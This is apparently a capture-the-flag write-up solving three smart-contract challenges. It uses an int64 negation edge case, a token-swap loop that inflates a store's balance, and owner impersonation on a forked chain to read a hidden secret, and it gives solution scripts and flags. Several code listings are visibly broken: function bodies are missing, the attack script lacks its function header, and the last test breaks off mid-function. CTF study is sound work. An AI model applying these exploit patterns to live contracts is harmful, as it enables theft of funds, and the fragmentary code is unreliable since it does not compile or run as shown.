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# positive

Stay positive.

nc positive.chal.crewc.tf 60003

Source

We need to find a number of type int64 that is less than 0, and its opposite is also negative:

function stayPositive(int64 _num) public returns(int64){
int64 num;
if(_num<0){
num = -_num;
if(num<0){
solved = true;
}
return num;
}
num = _num;
return num;
}


If you have int x = type(int).min;, then -x does not fit the positive range. This means that unchecked { assert(-x == x); } works. 1

As int64 type values range from $-9223372036854775808$ to $9223372036854775807$, the answer will be $-9223372036854775808$. During the competition, I used fuzzing to get the answer:

contract PositiveTest is Test {
Setup setup;
Positive target;

function setUp() public {
setup = new Setup();
target = setup.TARGET();
}

function testSolve(int64 a) public {
target.stayPositive(a);
assert(!target.solved());
}
}

Failing tests:
Encountered 1 failing test in test/Positive.t.sol:PositiveTest
[FAIL. Reason: EvmError: InvalidFEOpcode Counterexample: calldata=0xecd6eb4fffffffffffffffffffffffffffffffffffffffffffffffff8000000000000000, args=[-9223372036854775808]] testSolve(int64) (runs: 66, μ: 8924, ~: 8925)


## Flag

crew{9o5it1v1ty1sth3k3y}

# infinite

Infinite respect.

nc infinite.chal.crewc.tf 60001

infinite.tar.gz

To solve the challenge, we need to store more than 50 respect tokens in the fancyStore contract.

function isSolved() public view returns (bool) {
}


The respectToken and candyToken contracts do not contain any significant information, as they are simple ERC20 token contracts that allow the owner to call the mint() and burn() functions. The crewToken contract with a mint() function that can only be called once is the entry point.

function mint() external {
claimed = true;
}


Next, we can exchange 1 crew token for 10 candies:

function verification() public payable{
require(crew.balanceOf(msg.sender)==1, "You don't have crew tokens to verify");
require(crew.allowance(msg.sender, address(this))==1, "You need to approve the contract to transfer crew tokens");

candy.mint(msg.sender, 10);
}


The candy tokens can be exchanged for respect tokens through fancyStore.sellCandies() or localGang.gainRespect(). These two functions are slightly different. The sellCandies() function burns candy tokens and transfers the respect tokens stored in the contract to the msg.sender, while the gainRespect() function transfers the candy tokens from the msg.sender and mint respect tokens to msg.sender. Thus, the total supply of respect tokens can be increased through gainRespect(). Similarly, we can increase the total supply of candy tokens through fancyStore.buyCandies().

Starting with 10 candy tokens, we can first exchange them for 10 respect tokens and increase candyCount through localGang.gainRespect(). Then, buy 10 candies and increase respectCount through fancyStore.buyCandies(). At this point, we have obtained an additional 10 candies and transferred 10 respect tokens to the fancyStore contract. Repeat these steps until STORE.respectCount(CREW.receiver()) reaches the desired threshold.

## Script

/// forge script script/Infinite.s.sol --private-key $PRIVATE_KEY --rpc-url$RPC_URL --sig "run(address)" \$INSTANCE_ADDR --broadcast
contract InfiniteScript is Script {

Setup setup = Setup(instance);
crewToken crew = setup.CREW();
respectToken respect = setup.RESPECT();
candyToken candy = setup.CANDY();
fancyStore store = setup.STORE();
localGang gang = setup.GANG();

crew.mint();

store.verification();

for (uint i; i < 5; ++i) {
gang.gainRespect(10);
}
}
}


## Flag

crew{inf1nt3_c4n9i3s_1nfinit3_r3s9ect}

# deception

Tate doesn't want you to know the truth. Find the secret.

nc deception.chal.crewc.tf 60002

Source

From the source code, if we are able to provide a secret whose keccak256 hash is equal to 0x65462b0520ef7d3df61b9992ed3bea0c56ead753be7c8b3614e0ce01e4cac41b, then the challenge can be solved. The keccak256 hash of "secret" is exactly what we want. However, when I called the solve() function with the argument "secret", the transaction kept reverting. I suddenly realized that the secret provided in the source code is not the actual value. So, I got the bytecode and attempted to extract the password from it.

It's not easy to get the secret even with decompiled bytecode:

function password() public payable {
require(msg.sender == _changeOwner, Error('Only owner can access'));
v0 = _SafeExp(stor_1, stor_4);
require(stor_2, Panic(18)); // division by zero
if (76 - v0 % stor_2) {
MEM[MEM[64] + 32] = v0 % stor_2;
v1 = v2 = MEM[64] + 64;
} else {
require((stor_3 == stor_3 * (v0 % stor_2) / (v0 % stor_2)) | !(v0 % stor_2), Panic(17)); // arithmetic overflow or underflow
require(v0 % stor_2, Panic(18)); // division by zero
MEM[32 + MEM[64]] = stor_3 * (v0 % stor_2) / (v0 % stor_2);
v3 = 0x18e(64 + MEM[64], 32, 30);
v5 = _SafeSub(v4, stor_3);
MEM[32 + MEM[64]] = v5;
v6 = 0x18e(64 + MEM[64], 32, 30);
v7 = v8 = 0;
while (v7 < v3.length) {
MEM[v7 + (32 + MEM[64])] = v3[v7];
v7 += 32;
}
MEM[v3.length + (32 + MEM[64])] = 0;
v9 = v10 = 0;
while (v9 < v6.length) {
MEM[v9 + (32 + MEM[64] + v3.length)] = v6[v9];
v9 += 32;
}
MEM[v6.length + (32 + MEM[64] + v3.length)] = 0;
v1 = v11 = v6.length + (32 + MEM[64] + v3.length);
}
v12 = new array[](v1 - MEM[64] - 32);
v13 = v14 = 0;
while (v13 < v1 - MEM[64] - 32) {
MEM[v13 + v12.data] = MEM[v13 + (MEM[64] + 32)];
v13 += 32;
}
MEM[v1 - MEM[64] - 32 + v12.data] = 0;
return v12;
}


Why not just fork the chain and impersonate the owner to call the password() function?

contract DeceptionTest is Test {
Setup setup;
deception target;

function setUp() public {
vm.createSelectFork(vm.envString("RPC_URL"));
target = setup.TARGET();
}

function testSolve() public {

Call the solve() function to complete the challenge after getting the actual secret :D
crew{d0nt_tru5t_wh4t_y0u_s3e_4s5_50urc3!}